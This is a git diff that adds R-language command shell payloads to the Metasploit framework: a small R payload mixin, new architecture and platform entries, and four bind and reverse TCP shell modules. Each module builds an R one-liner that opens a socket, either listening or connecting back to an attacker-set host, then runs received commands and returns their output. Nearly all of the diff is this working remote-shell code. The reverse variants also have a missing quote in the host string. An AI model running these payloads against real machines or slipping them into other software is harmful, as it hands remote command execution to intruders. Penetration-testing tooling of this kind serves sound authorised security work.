diff --git a/lib/msf/core/payload/r.rb b/lib/msf/core/payload/r.rb
new file mode 100644
index 0000000000..730b01adde
--- /dev/null
+++ b/lib/msf/core/payload/r.rb
@@ -0,0 +1,14 @@
+# -*- coding: binary -*-
+require 'msf/core'
+
+module Msf::Payload::R
+
+  def initialize(info = {})
+    super(info)
+  end
+
+  def prepends(buf)
+    buf
+  end
+
+end
diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb
index 6b439989ad..acc100406a 100644
--- a/lib/msf/core/payload/uuid.rb
+++ b/lib/msf/core/payload/uuid.rb
@@ -42,7 +42,8 @@ class Msf::Payload::UUID
     23 => ARCH_ZARCH,
     24 => ARCH_AARCH64,
     25 => ARCH_MIPS64,
-    26 => ARCH_PPC64LE
+    26 => ARCH_PPC64LE,
+    27 => ARCH_R
   }
 
   Platforms = {
@@ -69,7 +70,8 @@ class Msf::Payload::UUID
     20 => 'js',
     21 => 'python',
     22 => 'nodejs',
-    23 => 'firefox'
+    23 => 'firefox',
+    24 => 'r'
   }
 
   # The raw length of the UUID structure
diff --git a/modules/payloads/singles/cmd/unix/bind_r.rb b/modules/payloads/singles/cmd/unix/bind_r.rb
new file mode 100644
index 0000000000..7d459efd63
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/bind_r.rb
@@ -0,0 +1,48 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 516
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'Unix Command Shell, Bind TCP (via R)',
+      'Description' => 'Continually listen for a connection and spawn a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'unix',
+      'Arch'        => ARCH_CMD,
+      'Handler'     => Msf::Handler::BindTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'cmd',
+      'RequiredCmd' => 'ruby',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def prepends(r_string)
+   return "R -e \"#{r_string}\""
+  end
+
+  def r_string
+    return "s<-socketConnection(port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s,1))),s)}"
+  end
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_r.rb b/modules/payloads/singles/cmd/unix/reverse_r.rb
new file mode 100644
index 0000000000..cc7eeecde8
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_r.rb
@@ -0,0 +1,49 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 516
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'Unix Command Shell, Reverse TCP (via R)',
+      'Description' => 'Connect back and create a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'r',
+      'Arch'        => ARCH_R,
+      'Handler'     => Msf::Handler::ReverseTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'r',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def prepends(r_string)
+   return "R -e \"#{r_string}\""
+  end
+
+  def r_string
+    lhost = datastore['LHOST']
+    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+    return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s, 1))),s)}"
+  end
+end
diff --git a/modules/payloads/singles/r/shell_bind_tcp.rb b/modules/payloads/singles/r/shell_bind_tcp.rb
new file mode 100644
index 0000000000..532b2dbe8a
--- /dev/null
+++ b/modules/payloads/singles/r/shell_bind_tcp.rb
@@ -0,0 +1,43 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 516
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'R Command Shell, Bind TCP',
+      'Description' => 'Continually listen for a connection and spawn a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'r',
+      'Arch'        => ARCH_R,
+      'Handler'     => Msf::Handler::BindTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'r',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def r_string
+    return "s<-socketConnection(port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s,1))),s)}"
+  end
+end
diff --git a/modules/payloads/singles/r/shell_reverse_tcp.rb b/modules/payloads/singles/r/shell_reverse_tcp.rb
new file mode 100644
index 0000000000..ca8b7c2235
--- /dev/null
+++ b/modules/payloads/singles/r/shell_reverse_tcp.rb
@@ -0,0 +1,45 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/payload/r'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 516
+
+  include Msf::Payload::Single
+  include Msf::Payload::R
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'R Command Shell, Reverse TCP',
+      'Description' => 'Connect back and create a command shell via R',
+      'Author'      => [ 'RageLtMan' ],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'r',
+      'Arch'        => ARCH_R,
+      'Handler'     => Msf::Handler::ReverseTcp,
+      'Session'     => Msf::Sessions::CommandShell,
+      'PayloadType' => 'r',
+      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  def generate
+    return prepends(r_string)
+  end
+
+  def r_string
+    lhost = datastore['LHOST']
+    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+    return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
+    "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
+    "(pipe(readLines(s, 1))),s)}"
+  end
+end